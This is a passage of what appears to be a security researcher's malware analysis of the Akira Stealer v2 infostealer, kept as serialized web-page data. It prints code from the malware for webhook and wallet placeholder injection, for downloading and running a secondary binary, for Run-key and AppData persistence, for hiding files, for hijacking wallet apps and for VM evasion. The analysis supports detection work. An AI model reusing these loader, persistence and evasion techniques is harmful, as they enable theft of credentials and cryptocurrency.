as:",[2733,9228,9229,9232,9235,9241],{},[2736,9230,9231],{},"A Discord webhook URL",[2736,9233,9234],{},"Cryptocurrency wallet addresses (BTC, ETH, DOGE, LTC, XMR, etc.)",[2736,9236,9237,9238,2767],{},"A user identifier (",[1546,9239,9240],{},"%USERID%",[2736,9242,9243,9244,2767],{},"An error status flag (",[1546,9245,9246],{},"%ERRORSTATUS%",[1540,9248,9250],{"className":8514,"code":9249,"language":8516,"meta":863,"style":863},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[1546,9251,9252,9312,9325,9348,9358,9363,9368,9373,9378],{"__ignoreMap":863},[1584,9253,9254,9257,9260,9263,9265,9268,9271,9274,9277,9280,9283,9286,9288,9291,9294,9298,9300,9303,9306,9309],{"class":1586,"line":1587},[1584,9255,9256],{"class":1774},"fs.",[1584,9258,9259],{"class":1752},"readFile",[1584,9261,9262],{"class":1774},"(extractedDir ",[1584,9264,2773],{"class":1766},[1584,9266,9267],{"class":1770}," \"",[1584,9269,9270],{"class":1756},"\\C",[1584,9272,9273],{"class":1770},"rypto",[1584,9275,9276],{"class":1756},"\\U",[1584,9278,9279],{"class":1770},"til",[1584,9281,9282],{"class":1756},"\\a",[1584,9284,9285],{"class":1770},"stor.py\"",[1584,9287,2285],{"class":1774},[1584,9289,9290],{"class":1770},"'utf8'",[1584,9292,9293],{"class":1774},", (",[1584,9295,9297],{"class":9296},"s4XuR","err",[1584,9299,2285],{"class":1774},[1584,9301,9302],{"class":9296},"data",[1584,9304,9305],{"class":1774},") ",[1584,9307,9308],{"class":1766},"=>",[1584,9310,9311],{"class":1774}," {\n",[1584,9313,9314,9317,9320,9322],{"class":1586,"line":864},[1584,9315,9316],{"class":1766},"  let",[1584,9318,9319],{"class":1774}," updatedFile ",[1584,9321,8687],{"class":1766},[1584,9323,9324],{"class":1774}," data\n",[1584,9326,9327,9330,9333,9335,9338,9341,9345],{"class":1586,"line":1810},[1584,9328,9329],{"class":1774},"    .",[1584,9331,9332],{"class":1752},"replace",[1584,9334,2026],{"class":1774},[1584,9336,9337],{"class":1770},"\"%DISCORD%\"",[1584,9339,9340],{"class":1774},", \u003C",[1584,9342,9344],{"class":9343},"s9eBZ","webhook",[1584,9346,9347],{"class":1774},">)\n",[1584,9349,9350,9353,9356],{"class":1586,"line":1827},[1584,9351,9352],{"class":1774},"    .replace(\"%ADDRESSBTC%\", \u003C",[1584,9354,9355],{"class":1756},"btc_address",[1584,9357,9347],{"class":1774},[1584,9359,9360],{"class":1586,"line":2131},[1584,9361,9362],{"class":1774},"    ...\n",[1584,9364,9365],{"class":1586,"line":2137},[1584,9366,9367],{"class":1774},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1584,9369,9370],{"class":1586,"line":2143},[1584,9371,9372],{"emptyLinePlaceholder":508},"\n",[1584,9374,9375],{"class":1586,"line":2149},[1584,9376,9377],{"class":1774},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1584,9379,9380],{"class":1586,"line":2155},[1584,9381,9382],{"class":1774},"});\n",[806,9384,9385],{},"This dynamic manipulation phase is essential. By delaying the insertion of attacker-controlled values until runtime, the payload avoids static detection and allows the operator to adapt targets and exfiltration endpoints without repackaging the archive.",[2733,9387,9388],{},[2736,9389,9390,9391,9393,9394],{},"Replaces placeholder strings in ",[1546,9392,6153],{},":\n",[2733,9395,9396,9402,9412],{},[2736,9397,9398,9399],{},"Discord webhook: ",[1546,9400,9401],{},"%DISCORD%",[2736,9403,9404,9405,2285,9408,9411],{},"Wallet addresses: ",[1546,9406,9407],{},"%ADDRESSBTC%",[1546,9409,9410],{},"%ADDRESSETH%",", etc.",[2736,9413,9414],{},"User ID and error flags",[1667,9416,9418],{"id":9417},"_624-malware-execution","6.2.4 Malware Execution",[806,9420,1673],{},[2733,9422,9423],{},[2736,9424,9425,9426],{},"Once the placeholder injection into astor.py is complete, the malware initiates execution of the stealer via a system call",[1540,9427,9429],{"className":8514,"code":9428,"language":8516,"meta":863,"style":863},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[1546,9430,9431],{"__ignoreMap":863},[1584,9432,9433,9436,9438,9441,9444,9447,9449,9452],{"class":1586,"line":1587},[1584,9434,9435],{"class":1752},"exec",[1584,9437,2026],{"class":1774},[1584,9439,9440],{"class":1770},"\"python.exe Crypto",[1584,9442,9443],{"class":1756},"\\\\",[1584,9445,9446],{"class":1770},"Util",[1584,9448,9443],{"class":1756},[1584,9450,9451],{"class":1770},"astor.py\"",[1584,9453,2304],{"class":1774},[806,9455,9456],{},"This command is executed using Node.js’s child_process.exec function and launches the embedded Python payload in a separate process. This specific execution pattern—python.exe with the argument Crypto\\Util\\astor.py—was observed in telemetry data collected by Microsoft Defender for Endpoint, making it a reliable detection artifact. In practice, the execution chain looks like this:",[806,9458,9459],{},"The full malware execution chain, as observed in Microsoft Defender for Endpoint telemetry, follows this sequence:",[2733,9461,9462,9470,9477,9484],{},[2736,9463,9464,9466,9467],{},[1546,9465,6149],{}," (Electron-based container) invokes ",[1546,9468,9469],{},"node.exe",[2736,9471,9472,9474,9475],{},[1546,9473,9469],{}," launches ",[1546,9476,6654],{},[2736,9478,9479,9481,9482],{},[1546,9480,6654],{}," starts ",[1546,9483,6125],{},[2736,9485,9486,9488,9489],{},[1546,9487,6125],{}," executes the file ",[1546,9490,6664],{},[1667,9492,9494],{"id":9493},"_625-persistence-reinforcement","6.2.5 Persistence Reinforcement",[806,9496,1673],{},[806,9498,9499,9500,9502],{},"To ensure long-term presence on the infected system, the decrypted JavaScript payload includes logic to re-establish persistence by copying the initial binary (",[1546,9501,6145],{},") to a hidden location within the user’s profile.",[806,9504,9505],{},[1732,9506,9507],{},"Target Directory",[806,9509,9510],{},"The file is copied to a directory that mimics legitimate Windows components:",[1540,9512,9514],{"className":8514,"code":9513,"language":8516,"meta":863,"style":863},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[1546,9515,9516],{"__ignoreMap":863},[1584,9517,9518,9520,9523,9525],{"class":1586,"line":1587},[1584,9519,2756],{"class":1766},[1584,9521,9522],{"class":1756},"APPDATA",[1584,9524,2756],{"class":1766},[1584,9526,9527],{"class":1774},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[806,9529,9530],{},"This location is intentionally chosen:",[2733,9532,9533,9536],{},[2736,9534,9535],{},"%APPDATA% is writable by regular users and doesn’t require administrative privileges.",[2736,9537,9538],{},"The directory name mimics legitimate Microsoft application folders, making it less suspicious.",[806,9540,9541],{},[1732,9542,9543],{},"Copy Mechanism:",[806,9545,9546],{},"The copy operation uses Node.js’s fs.copyFileSync() function:",[1540,9548,9550],{"className":8514,"code":9549,"language":8516,"meta":863,"style":863},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[1546,9551,9552,9561,9571,9580,9589,9596,9603,9610,9617,9622],{"__ignoreMap":863},[1584,9553,9554,9556,9559],{"class":1586,"line":1587},[1584,9555,9256],{"class":1774},[1584,9557,9558],{"class":1752},"copyFileSync",[1584,9560,8538],{"class":1774},[1584,9562,9563,9566,9569],{"class":1586,"line":864},[1584,9564,9565],{"class":1774},"  process.env.",[1584,9567,9568],{"class":1756},"PORTABLE_EXECUTABLE_FILE",[1584,9570,8568],{"class":1774},[1584,9572,9573,9576,9578],{"class":1586,"line":1810},[1584,9574,9575],{"class":1774},"  path.",[1584,9577,8898],{"class":1752},[1584,9579,8538],{"class":1774},[1584,9581,9582,9585,9587],{"class":1586,"line":1827},[1584,9583,9584],{"class":1774},"    process.env.",[1584,9586,9522],{"class":1756},[1584,9588,8568],{"class":1774},[1584,9590,9591,9594],{"class":1586,"line":2131},[1584,9592,9593],{"class":1770},"    \"Microsoft\"",[1584,9595,8568],{"class":1774},[1584,9597,9598,9601],{"class":1586,"line":2137},[1584,9599,9600],{"class":1770},"    \"Internet Explorer\"",[1584,9602,8568],{"class":1774},[1584,9604,9605,9608],{"class":1586,"line":2143},[1584,9606,9607],{"class":1770},"    \"UserData\"",[1584,9609,8568],{"class":1774},[1584,9611,9612,9615],{"class":1586,"line":2149},[1584,9613,9614],{"class":1770},"    \"Updater.exe\"",[1584,9616,8568],{"class":1774},[1584,9618,9619],{"class":1586,"line":2155},[1584,9620,9621],{"class":1774},"  ),\n",[1584,9623,9624],{"class":1586,"line":2161},[1584,9625,2304],{"class":1774},[2733,9627,9628,9631],{},[2736,9629,9630],{},"PORTABLE_EXECUTABLE_FILE is an environment variable automatically set by many packers (such as Electron) to reference the path of the executing binary.",[2736,9632,9633],{},"path.join(...) builds a fully-qualified destination path across different operating systems.",[806,9635,9636],{},"This logic executes only if the file is not already present—thus acting as a self-repair mechanism to restore the dropper if deleted.",[806,9638,9639,9642],{},[1732,9640,9641],{},"Role in the Malware Chain","\nThe presence of this copied Updater.exe ensures that:",[2733,9644,9645,9648],{},[2736,9646,9647],{},"The loader can re-trigger itself across system reboots.",[2736,9649,9650],{},"The full infection chain (leading to main.exe, node.exe, and eventually astor.py) can re-initiate without relying on traditional registry persistence mechanisms, which are more likely to be monitored.",[1667,9652,9654],{"id":9653},"_626-optional-binder-execution","6.2.6 Optional Binder Execution",[806,9656,1673],{},[806,9658,9659,9660,9662],{},"In addition to downloading and executing the main stealer payload (",[1546,9661,6153],{},"), the decrypted JavaScript also contains logic to optionally download and launch a secondary executable referred to as the \"binder.\" This component can be used for persistence, distraction, or deployment of additional malware modules.",[806,9664,9665],{},[1732,9666,9667],{},"Conditional Execution",[806,9669,9670],{},"The binder logic is only activated if a specific flag is set:",[1540,9672,9674],{"className":8514,"code":9673,"language":8516,"meta":863,"style":863},"enableBinder = true;\n",[1546,9675,9676],{"__ignoreMap":863},[1584,9677,9678,9681,9683,9686],{"class":1586,"line":1587},[1584,9679,9680],{"class":1774},"enableBinder ",[1584,9682,8687],{"class":1766},[1584,9684,9685],{"class":1756}," true",[1584,9687,2843],{"class":1774},[806,9689,9690,9691,9694],{},"In the sample analyzed, this value was set to ",[1546,9692,9693],{},"false"," by default, but the logic remains embedded in the payload and can be trivially enabled in a different campaign or variant.",[806,9696,9697],{},[1732,9698,9699],{},"Binder Download Logic",[806,9701,9702,9703,9706],{},"If activated, the script attempts to fetch an external binary from a URL defined by the ",[1546,9704,9705],{},"%BINDERURL%"," placeholder:",[1540,9708,9710],{"className":8514,"code":9709,"language":8516,"meta":863,"style":863},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[1546,9711,9712,9726,9746,9761],{"__ignoreMap":863},[1584,9713,9714,9716,9719,9721,9724],{"class":1586,"line":1587},[1584,9715,8523],{"class":1766},[1584,9717,9718],{"class":1756}," fileUrl",[1584,9720,8529],{"class":1766},[1584,9722,9723],{"class":1770}," \"%BINDERURL%\"",[1584,9725,2843],{"class":1774},[1584,9727,9728,9730,9732,9734,9736,9738,9740,9742,9744],{"class":1586,"line":864},[1584,9729,8523],{"class":1766},[1584,9731,8989],{"class":1756},[1584,9733,8529],{"class":1766},[1584,9735,8994],{"class":1766},[1584,9737,8997],{"class":1774},[1584,9739,9000],{"class":1752},[1584,9741,9003],{"class":1774},[1584,9743,9006],{"class":1770},[1584,9745,9009],{"class":1774},[1584,9747,9748,9750,9752,9754,9756,9758],{"class":1586,"line":1810},[1584,9749,8523],{"class":1766},[1584,9751,9027],{"class":1756},[1584,9753,8529],{"class":1766},[1584,9755,9032],{"class":1774},[1584,9757,9035],{"class":1752},[1584,9759,9760],{"class":1774},"(binderFile);\n",[1584,9762,9763,9765,9767],{"class":1586,"line":1827},[1584,9764,9043],{"class":1774},[1584,9766,9046],{"class":1752},[1584,9768,9049],{"class":1774},[2733,9770,9771,9776],{},[2736,9772,1880,9773,9775],{},[1546,9774,8877],{}," file is saved into the system's temporary directory.",[2736,9777,9778,9779,9781],{},"Like ",[1546,9780,8401],{},", the binary is downloaded using Axios in a streamed fashion to avoid loading the entire binary into memory.",[806,9783,9784],{},[1732,9785,9786],{},"Execution Strategy",[806,9788,9789,9790,9792],{},"After successful download, the script invokes the downloaded binary using ",[1546,9791,6654],{},", ensuring that it runs in a new shell context:",[1540,9794,9796],{"className":8514,"code":9795,"language":8516,"meta":863,"style":863},"exec(`start cmd /c start ${binderFile}`, ...);\n",[1546,9797,9798],{"__ignoreMap":863},[1584,9799,9800,9802,9804,9807,9810,9813,9815,9818],{"class":1586,"line":1587},[1584,9801,9435],{"class":1752},[1584,9803,2026],{"class":1774},[1584,9805,9806],{"class":1770},"`start cmd /c start ${",[1584,9808,9809],{"class":1774},"binderFile",[1584,9811,9812],{"class":1770},"}`",[1584,9814,2285],{"class":1774},[1584,9816,9817],{"class":1766},"...",[1584,9819,2304],{"class":1774},[806,9821,9822],{},"To increase reliability, the script includes retry logic:",[1540,9824,9826],{"className":8514,"code":9825,"language":8516,"meta":863,"style":863},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[1546,9827,9828,9840,9851],{"__ignoreMap":863},[1584,9829,9830,9833,9836,9838],{"class":1586,"line":1587},[1584,9831,9832],{"class":1752},"setTimeout",[1584,9834,9835],{"class":1774},"(() ",[1584,9837,9308],{"class":1766},[1584,9839,9311],{"class":1774},[1584,9841,9842,9845,9847,9849],{"class":1586,"line":864},[1584,9843,9844],{"class":1752},"  exec",[1584,9846,2026],{"class":1774},[1584,9848,9817],{"class":1766},[1584,9850,2304],{"class":1774},[1584,9852,9853,9856,9859],{"class":1586,"line":1810},[1584,9854,9855],{"class":1774},"}, ",[1584,9857,9858],{"class":1756},"5000",[1584,9860,2304],{"class":1774},[806,9862,9863],{},"This ensures that even if the initial execution fails (e.g., due to system load or race conditions), the malware will reattempt launching the binary after a short delay.",[806,9865,9866],{},[1732,9867,9868],{},"Use Cases for the Binder",[806,9870,9871],{},"While the exact purpose of the binder binary is not revealed in this particular sample (due to the placeholder URL), such components are commonly used to:",[2733,9873,9874,9877,9880,9883],{},[2736,9875,9876],{},"Reinstall or relaunch the primary malware components",[2736,9878,9879],{},"Display fake installers or decoy applications",[2736,9881,9882],{},"Deploy additional spyware, backdoors, or ransomware",[2736,9884,9885],{},"Modify system settings or disable security features",[810,9887,9889],{"id":9888},"_63-summary","6.3 Summary",[806,9891,1531],{},[806,9893,9894,9896],{},[1546,9895,8340],{}," is a highly obfuscated, encrypted JavaScript loader that uses industry-standard cryptography (PBKDF2 + AES-256-CBC) to protect its true purpose. Upon decryption, it operates as a fully capable second-stage loader that:",[2733,9898,9899,9904,9907,9912],{},[2736,9900,9901,9902,2767],{},"Retrieves further malware (",[1546,9903,8401],{},[2736,9905,9906],{},"Modifies payload behavior dynamically",[2736,9908,9909,9910,2767],{},"Launches the actual stealer script (",[1546,9911,6153],{},[2736,9913,9914,9915],{},"Reinforces persistence by restoring ",[1546,9916,6145],{},[806,9918,9919,9920,9923],{},"Its combination of encryption, dynamic execution, modular payload fetching, and fileless operation showcases a ",[1732,9921,9922],{},"highly advanced JavaScript-based malware architecture"," that leverages Node.js capabilities in an Electron shell.",[1511,9925,9927,9928,2767],{"id":9926},"_7-deepdive-akira-stealer-v2-astorpy","7. DeepDive: Akira Stealer v2 (",[1546,9929,6153],{},[806,9931,816],{},[810,9933,9935],{"id":9934},"_71-high-level-functionality","7.1. High-Level Functionality",[806,9937,1531],{},[806,9939,9940,9941,9943],{},"Akira Stealer v2 (",[1546,9942,6153],{},") is a multi-functional, modular infostealer malware written in Python. It is designed to exfiltrate a broad range of sensitive user data from both Chromium- and Firefox-based browsers, crypto wallets, communication clients (e.g., Discord, Telegram), and system files. It incorporates sophisticated anti-analysis mechanisms, registry-based persistence, clipboard hijacking, and memory injection techniques.",[810,9945,9947],{"id":9946},"_72-persistence-and-deployment","7.2 Persistence and Deployment",[806,9949,1531],{},[1667,9951,9953],{"id":9952},"_721-execution-chain-context","7.2.1 Execution Chain Context",[806,9955,1673],{},[806,9957,9958,9960],{},[1546,9959,6153],{}," is not executed standalone but is the final payload in a multi-stage attack chain:",[1540,9962,9966],{"className":9963,"code":9964,"language":9965,"meta":863,"style":863},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[1546,9967,9968,9973,9978,9983],{"__ignoreMap":863},[1584,9969,9970],{"class":1586,"line":1587},[1584,9971,9972],{},"Updater.exe\n",[1584,9974,9975],{"class":1586,"line":864},[1584,9976,9977],{},"  └── main.exe (Electron app)\n",[1584,9979,9980],{"class":1586,"line":1810},[1584,9981,9982],{},"        └── cmd.exe\n",[1584,9984,9985],{"class":1586,"line":1827},[1584,9986,9987],{},"              └── python.exe astor.py\n",[806,9989,9990,9991,9993],{},"This structured execution chain allows each stage to evade detection by delegating malicious functionality to the next. ",[1546,9992,6145],{}," initiates the sequence and is responsible for maintaining persistence.",[1667,9995,9997],{"id":9996},"_722-registry-based-persistence","7.2.2 Registry-Based Persistence",[806,9999,1673],{},[806,10001,10002,10003,10005],{},"Akira establishes persistence by writing a registry key under the current user’s Run path. This ensures that ",[1546,10004,6145],{}," is executed on each system startup:",[1540,10007,10011],{"className":10008,"code":10009,"language":10010,"meta":863,"style":863},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[1546,10012,10013,10018],{"__ignoreMap":863},[1584,10014,10015],{"class":1586,"line":1587},[1584,10016,10017],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\n",[1584,10019,10020],{"class":1586,"line":864},[1584,10021,10022],{},"os.system(command)\n",[2733,10024,10025,10032,10040],{},[2736,10026,10027,2540,10030],{},[1732,10028,10029],{},"Path",[1546,10031,7194],{},[2736,10033,10034,2540,10037,10039],{},[1732,10035,10036],{},"Value name",[1546,10038,7202],{}," (chosen to appear benign)",[2736,10041,10042,10045,10046],{},[1732,10043,10044],{},"Payload path",": Typically in ",[1546,10047,10048],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[806,10050,10051,10052,10055],{},"This command silently writes the autorun entry via PowerShell or native ",[1546,10053,10054],{},"os.system()"," execution.",[1667,10057,10059],{"id":10058},"_723-file-concealment","7.2.3 File Concealment",[806,10061,1673],{},[806,10063,10064],{},"To further obscure the binary from users and simple AV scans, the file is marked with hidden and system attributes:",[1540,10066,10068],{"className":10008,"code":10067,"language":10010,"meta":863,"style":863},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[1546,10069,10070],{"__ignoreMap":863},[1584,10071,10072],{"class":1586,"line":1587},[1584,10073,10067],{},[2733,10075,10076,10082],{},[2736,10077,10078,10081],{},[1546,10079,10080],{},"+h",": Marks the file as hidden",[2736,10083,10084,10087],{},[1546,10085,10086],{},"+s",": Marks the file as a protected system file",[806,10089,10090],{},"This effectively removes the file from standard Windows Explorer views and increases stealth.",[1667,10092,10094],{"id":10093},"_724-reinfection-techniques","7.2.4 Reinfection Techniques",[806,10096,1673],{},[806,10098,10099,10100,10102,10103,2285,10106,10109],{},"The malware supports self-replication and reinfection through Electron application hijacking. Specifically, it replaces the ",[1546,10101,6599],{}," archive in Electron-based desktop wallets (e.g., ",[1732,10104,10105],{},"Exodus",[1732,10107,10108],{},"Atomic Wallet",") to execute malicious JavaScript during legitimate app startup.",[806,10111,10112],{},"The logic looks for known wallet app paths:",[1540,10114,10116],{"className":10008,"code":10115,"language":10010,"meta":863,"style":863},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[1546,10117,10118],{"__ignoreMap":863},[1584,10119,10120],{"class":1586,"line":1587},[1584,10121,10115],{},[806,10123,10124,10125,2491],{},"If the target file exists, it is overwritten with a weaponized archive. This ensures persistence even after manual cleanup of ",[1546,10126,6145],{},[810,10128,10130,10131,2767],{"id":10129},"_73-anti-analysis-evasion-class-vmprotect","7.3 Anti-Analysis / Evasion (Class: ",[1546,10132,10133],{},"VmProtect",[806,10135,1531],{},[1667,10137,10139],{"id":10138},"_731-introduction","7.3.1 Introduction",[806,10141,1673],{},[806,10143,10144,10145,10147,10148,10150],{},"In modern malware campaigns, evading analysis in virtualized and sandboxed environments is critical to maintain stealth. The ",[4653,10146,6214],{}," implements a comprehensive VM/sandbox detection module (",[1546,10149,10133],{},") that aggressively identifies and aborts execution under analyst-controlled environments. This report dissects each detection technique, provides the exact code snippets—including complete blacklist definitions—and outlines the analysis methodology used.",[1667,10152,10154],{"id":10153},"_732-overview","7.3.2 Overview",[806,10156,1673],{},[806,10158,1880,10159,10161],{},[1546,10160,10133],{}," class implements robust VM and sandbox detection to prematurely abort execution in analysis environments. It supports two detection levels:",[2733,10163,10164,10170],{},[2736,10165,10166,10169],{},[1732,10167,10168],{},"Level 1",": Lightweight, fast checks",[2736,10171,10172,10175],{},[1732,10173,10174],{},"Level 2",": In-depth, comprehensive probes",[806,10177,10178,10179,10182,10183,10186,10187,10190],{},"If ",[1546,10180,10181],{},"VmProtect.isVM(level)"," returns ",[1546,10184,10185],{},"True",", the malware calls ",[1546,10188,10189],{},"sys.exit()",", preventing further analysis.",[1667,10192,10194],{"id":10193},"_733-detection-levels","7.3.3 Detection Levels",[806,10196,1673],{},[1898,10198,1901,10200],{"style":10199},"width:100%; border-collapse: collapse;",[1919,10201,10202,1901,10212,1901,10222,1901,10232,1901,10241,1901,10251,1901,10260,1901,10269],{},[1907,10203,1905,10204,1905,10207,1905,10210,1901],{},[1911,10205,10206],{},"Feature",[1911,10208,10168],{"style":10209},"text-align: center;",[1911,10211,10174],{"style":10209},[1907,10213,1905,10214,1905,10217,1905,10220,1901],{},[1924,10215,10216],{},"HTTPSimulation",[1924,10218,10219],{"style":10209},"✔️",[1924,10221,10219],{"style":10209},[1907,10223,1905,10225,1905,10228,1905,10230,1901],{"style":10224},"background-color: #f5f5f5;",[1924,10226,10227],{},"Computer-name blacklist",[1924,10229,10219],{"style":10209},[1924,10231,10219],{"style":10209},[1907,10233,1905,10234,1905,10237,1905,10239,1901],{},[1924,10235,10236],{},"User-account blacklist",[1924,10238,10219],{"style":10209},[1924,10240,10219],{"style":10209},[1907,10242,1905,10243,1905,10246,1905,10249,1901],{"style":10224},[1924,10244,10245],{},"Hardware-UUID blacklist",[1924,10247,10248],{"style":10209},"❌",[1924,10250,10219],{"style":10209},[1907,10252,1905,10253,1905,10256,1905,10258,1901],{},[1924,10254,10255],{},"Public-hosting API check",[1924,10257,10248],{"style":10209},[1924,10259,10219],{"style":10209},[1907,10261,1905,10262,1905,10265,1905,10267,1901],{"style":10224},[1924,10263,10264],{},"Registry & GPU hints",[1924,10266,10248],{"style":10209},[1924,10268,10219],{"style":10209},[1907,10270,1905,10271,1905,10274,1905,10276,1901],{},[1924,10272,10273],{},"Task-killing background",[1924,10275,10219],{"style":10209},[1924,10277,10219],{"style":10209},[1536,10279],{"className":10280},[6385,6386],[1667,10282,10284,10285,10287],{"id":10283},"_734-vmprotect-architecture","7.3.4 ",[1546,10286,10133],{}," Architecture",[806,10289,1673],{},[806,10291,1880,10292,10294],{},[1546,10293,10133],{}," class exposes the following primary methods:",[2733,10296,10297,10304,10311,10318,10325,10332,10339,10346],{},[2736,10298,10299],{},[1732,10300,10301],{},[1546,10302,10303],{},"checkUUID()",[2736,10305,10306],{},[1732,10307,10308],{},[1546,10309,10310],{},"checkComputerName()",[2736,10312,10313],{},[1732,10314,10315],{},[1546,10316,10317],{},"checkUsers()",[2736,10319,10320],{},[1732,10321,10322],{},[1546,10323,10324],{},"checkHosting()",[2736,10326,10327],{},[1732,10328,10329],{},[1546,10330,10331],{},"checkHTTPSimulation()",[2736,10333,10334],{},[1732,10335,10336],{},[1546,10337,10338],{},"checkRegistry()",[2736,10340,10341],{},[1732,10342,10343],{},[1546,10344,10345],{},"killTasks()",[2736,10347,10348],{},[1732,10349,10350],{},[1546,10351,10352],{},"isVM(level)",[806,10354,10355,10356,10359],{},"Each method returns a boolean or executes evasion steps. The ",[1546,10357,10358],{},"isVM"," wrapper aggregates these checks based on the specified level.",[1898,10361,1901,10362],{"style":10199},[1919,10363,10364,1901,10376,1901,10390,1901,10404,1901,10417,1901,10430,1901,10443,1901,10456,1901,10471],{},[1907,10365,1905,10366,1905,10370,1905,10373,1901],{},[1911,10367,10369],{"style":10368},"text-align: left;","Method",[1911,10371,10372],{"style":10368},"Triggered By",[1911,10374,10375],{"style":10368},"Description",[1907,10377,1905,10378,1905,10382,1905,10387,1901],{},[1924,10379,10380],{},[1546,10381,10303],{},[1924,10383,10384],{},[1546,10385,10386],{},"isVM(2)",[1924,10388,10389],{},"WMI UUID blacklist",[1907,10391,1905,10392,1905,10396,1905,10401,1901],{"style":10224},[1924,10393,10394],{},[1546,10395,10310],{},[1924,10397,10398],{},[1546,10399,10400],{},"isVM(1,2)",[1924,10402,10403],{},"Environment hostname match",[1907,10405,1905,10406,1905,10410,1905,10414,1901],{},[1924,10407,10408],{},[1546,10409,10317],{},[1924,10411,10412],{},[1546,10413,10400],{},[1924,10415,10416],{},"Username blacklist",[1907,10418,1905,10419,1905,10423,1905,10427,1901],{"style":10224},[1924,10420,10421],{},[1546,10422,10324],{},[1924,10424,10425],{},[1546,10426,10386],{},[1924,10428,10429],{},"IP hosting provider check via ip-api.com",[1907,10431,1905,10432,1905,10436,1905,10440,1901],{},[1924,10433,10434],{},[1546,10435,10331],{},[1924,10437,10438],{},[1546,10439,10400],{},[1924,10441,10442],{},"HTTPS interception detection",[1907,10444,1905,10445,1905,10449,1905,10453,1901],{"style":10224},[1924,10446,10447],{},[1546,10448,10338],{},[1924,10450,10451],{},[1546,10452,10386],{},[1924,10454,10455],{},"Registry & GPU driver artifacts",[1907,10457,1905,10458,1905,10462,1905,10468,1901],{},[1924,10459,10460],{},[1546,10461,10345],{},[1924,10463,10464,10467],{},[1546,10465,10466],{},"isVM(...)"," spawn",[1924,10469,10470],{},"Terminates known analysis processes",[1907,10472,1905,10473,1905,10477,1905,10480,1901],{"style":10224},[1924,10474,10475],{},[1546,10476,10352],{},[1924,10478,10479],{},"init",[1924,10481,10482,10483,10485],{},"Aggregates checks and calls ",[1546,10484,10345],{}," thread",[1536,10487],{"className":10488},[6385,6386],[1540,10490,10492],{"className":10008,"code":10491,"language":10010,"meta":863,"style":863},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[1546,10493,10494,10499,10504,10509,10514,10519,10524,10529,10534,10539,10544,10550,10556,10562,10568,10574,10580,10586,10592,10598,10604,10610,10616,10622,10628],{"__ignoreMap":863},[1584,10495,10496],{"class":1586,"line":1587},[1584,10497,10498],{},"@staticmethod\n",[1584,10500,10501],{"class":1586,"line":864},[1584,10502,10503],{},"def isVM(level: int) -> bool:\n",[1584,10505,10506],{"class":1586,"line":1810},[1584,10507,10508],{},"    # Always start background task-killer\n",[1584,10510,10511],{"class":1586,"line":1827},[1584,10512,10513],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1584,10515,10516],{"class":1586,"line":2131},[1584,10517,10518],{},"    if level == 1:\n",[1584,10520,10521],{"class":1586,"line":2137},[1584,10522,10523],{},"        # Fast path: HTTPS, hostname & user\n",[1584,10525,10526],{"class":1586,"line":2143},[1584,10527,10528],{},"        return (\n",[1584,10530,10531],{"class":1586,"line":2149},[1584,10532,10533],{},"            VmProtect.checkHTTPSimulation()\n",[1584,10535,10536],{"class":1586,"line":2155},[1584,10537,10538],{},"            or VmProtect.checkComputerName()\n",[1584,10540,10541],{"class":1586,"line":2161},[1584,10542,10543],{},"            or VmProtect.checkUsers()\n",[1584,10545,10547],{"class":1586,"line":10546},11,[1584,10548,10549],{},"        )\n",[1584,10551,10553],{"class":1586,"line":10552},12,[1584,10554,10555],{},"    if level == 2:\n",[1584,10557,10559],{"class":1586,"line":10558},13,[1584,10560,10561],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1584,10563,10565],{"class":1586,"line":10564},14,[1584,10566,10567],{},"        try:\n",[1584,10569,10571],{"class":1586,"line":10570},15,[1584,10572,10573],{},"            return (\n",[1584,10575,10577],{"class":1586,"line":10576},16,[1584,10578,10579],{},"                